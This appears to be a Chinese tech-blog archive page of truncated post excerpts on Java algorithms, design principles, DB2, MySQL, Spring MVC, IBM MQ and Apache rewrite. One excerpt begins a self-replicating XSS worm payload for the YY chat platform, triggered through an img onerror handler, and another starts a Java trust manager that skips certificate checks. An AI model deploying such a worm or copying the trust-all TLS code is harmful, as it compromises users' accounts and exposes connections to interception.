`
yunchow
  • 浏览: 317757 次
  • 性别: Icon_minigender_1
  • 来自: 南京
社区版块
存档分类
最新评论
文章列表
滑动窗口计数有很多使用场景,比如说限流防止系统雪崩。相比计数实现,滑动窗口实现会更加平滑,能自动消除毛刺。   概念上可以参考TCP的滑窗算法,可以看一下这篇文章(http://go12345.iteye.com/blog/1744728)。在实现上,滑动窗口算法需要循环队列和线程安全保障。   下面的实现有几个点 1, 支持滑窗大小运行时动态调整 2, 基于 java8 编译器 3, DEMO实现只支持一个窗口对象,如果要支持多个,需要修改 SlotBaseCounter 类      package slidingwindow; import java. ...
面向对象语言具有封装,继承,多态的特征。那么在用面象对象语言进行程序设计的时候,我们应该要注意些什么,遵守哪些原则呢。 我们都知道在面向对象世界中拥有5大关系,6大原则,23种设计模式。那么他们是什么关系,到底有什么用呢。   我们定义类来封装对象,应该尽量的保证类职责的单一性,从而提高他的灵活性,重用性,扩展性和维护性。如果类职责R因为某种原因(比如说新需求)变成两个职责R1、R2,这时就发生了职责扩散。这个时候如果业务逻辑足够简单,我们可以修改原来的代码来满足新的职责;如果业务复杂但是类结构简单,我们可以新增方法来兼容。但是这时已经违反了单一职责原则,但这却是可以接受的,因为类依然具有 ...
一,生成指定sql的执行计划 1. 连接到db2 db2 connect to aep user wcsuser using wcsuser1 2.  生成执行计划相关表    db2 -tvf sqllib/misc/EXPLAIN.DDL 3.  生成执行计划并导出文件   a)   db2 "explain plan for xxx"  b)   db2exfmt -1 -d aep -e wcsuser -o sql.pln  二、利用quest等工具监控数据库(top sql, IO activity, lock) 需要先打开监控功能 d ...
从远程GIT上导出一个Maven项目到Eclipse大约分为以下几步: 1,从GIT下载项目并导进workspace 2,删除项目并重新以Maven方式导入 3,Run As --> Maven Install   为了方便说明,以 Storm官方一个项目为例进行说明,repository为https://github.com/nathanmarz/storm-starter.git   详细步骤截图如下:           原项目文件中Maven的配置文件名叫m2-pom.xml,所以将其改名为pom.xml,不然Eclipse无法识别   为了Eclipse ...
本来是可以直接通过<script>标签实现的,但是昨天被YY官方给屏蔽了。 下面的代码是通过img标签的onerror事件进行触发。所有看到这条消息的在线用户会被自动感染,并继续感染其他用户,因为这段代码有自我复制能力。.   <img height="0" width="0" src="xx" onerror='t=this;function fn(){n = $("#userName").html();$("textarea#pub_msg_input.msg-input&q ...
阿里的一个面试题: 一个序列里除了一个元素,其他元素都会重复出现3次,设计一个时间复杂度与空间复杂度最低的算法,找出这个不重复的元素。 实现如下: package bitmap; import java.util.BitSet; public class BitMapMain { static int[] list = {2, 3, 6, 3, 2, 5, 3, 2, 6, 6, 9, 9, 7, 7}; public static void main(String[] args) { int len = list.length * 2; B ...
1 开闭原则(Open Close Principle) 1.1 定义:一个软件实体如类、模块和函数应该对扩展开放,对修改关闭。 1.2 当软件需要变化时,尽量通过扩展软件实体的行为来实现变化, 而不是通过修改已有的代码来实现变化。 1.3 开闭原则是总纲,他告诉我们要对扩展开放,对修改关闭。 2 迪米特法则(Law Of Demeter) 2.1 迪米特法则又叫最少知道原则 2.2 定义:一个对象应该对其他对象保持最少的了解 2.3 软件编程的总的原则:低耦合,高内聚 2.4 迪米特法则还有一个更简单的定义:只与直接的朋友通信。 2.5 我们称出现成员变量、方法参数、方法返回值中的类为直接的朋 ...

mysql 常用命令

第一招、mysql服务的启动和停止 net stop mysql net start mysql 第二招、登陆mysql 语法如下: mysql -u用户名 -p用户密码 键入命令mysql -uroot -p, 回车后提示你输入密码,输入12345,然后回车即可进入到mysql中了,mysql的提示符是: mysql> 注意,如果是连接到另外的机器上,则需要加入一个参数-h机器IP 第三招、增加新用户 格式:grant 权限 on 数据库.* to 用户名@登录主机 identified by "密码" 如,增加一个用户user1密码为passwo ...
function declare(clazz, props) { var objs = clazz.split("."), parent = window; for (var i = 0; i < objs.length - 1; i++) { var o = objs[i]; if (typeof o != 'object') { parent[o] = {}; parent = parent[o]; } } var fn = objs[objs.length - 1]; if ( ...
builder模式将构建和表示分离,使相同的构建可以形成不同的表示。    创建和表示分离后使两者可以独立变化   就像建筑公司与设计公司一样,建筑公司负责建设,设计公司负责组装,最后形成高楼   而建筑公司还可以和别的设计公司合作建设别的大楼,从而是不是说明创建是复用了呢   对应起来,设计公司承担指挥(DIrector)的工作,而建筑公司承担建设(Builder)的工作,设计 公司指挥建筑公司建设各个部件(Construct),然后由建筑公司交互整个产品。当然这其中不可缺少客户的角色(Client)  
spring mvc(以下简称框架)是一个非常优秀的Web框架,开发简单,功能强大   框架包含三大部分:resolver ,  handler,  controller   resolver 又分为上传resolver ,多语言resolver ,主题resolver ,显示resolver 和异常resolver ,根据他们 ...
从宏观上看,现在软件架构大概分为四个阶段,而现在大多公司按不同规模不同行业都处于1至3阶段,还有一些逐渐向第四阶段发展。 一、单一架构 在这种架构下,将所有业务封装到一个工程里最后打包成一个 war 包进行部署,这种方式不公开发简单,而且部署也简单,适合小项目。 技术关注点主要在后台ORM这块 二、垂直架构 当业务需求增多后,将项目拆分为多个WEB工程分开进行开发,常见如将 Web Portal 与 后台 Admin 形成2个应用,分开进行部署。 技术关注在于 Web 层,如 Spring MVC 三、基于服务架构 对于有些情况,多 web 应用之间交互会非常多,这就导致了相互依 ...
C:\Program Files (x86)\IBM\WebSphere MQ\bin>runmqsc B2C_QM 5724-H72 (C) Copyright IBM Corp. 1994, 2011.  ALL RIGHTS RESERVED. 启动队列管理器 B2C_QM 的 MQSC。 alter qmgr chlauth(disabled)      1 : alter qmgr chlauth(disabled) AMQ8005: WebSphere MQ 队列管理器已更改。        : end      2 : end 读取一个 MQSC 命令。 所有命令均无语 ...
public String callMemberInfoInterface(String request) throws Exception { if (logger.isInfoEnabled()) { logger.info("callMemberInfoInterface request : " + request); } // First create a trust manager that won't care. X509TrustManager trustManager = new X509T ...
apache的rewrite功能很强大,详细参考:http://lamp.linux.gov.cn/Apache/ApacheMenu/rewrite/index.html 用法如下步骤: 1,加载Rewrite模块 LoadModule rewrite_module modules/mod_rewrite.so 2,打开引擎 RewriteEngine on 3,编写重写规则与条件 RewriteLogLevel 9 RewriteLog "C:/rewrite.log" RewriteCond %{DOCUMENT_ROOT}$0 !-f RewriteRule ...
Global site tag (gtag.js) - Google Analytics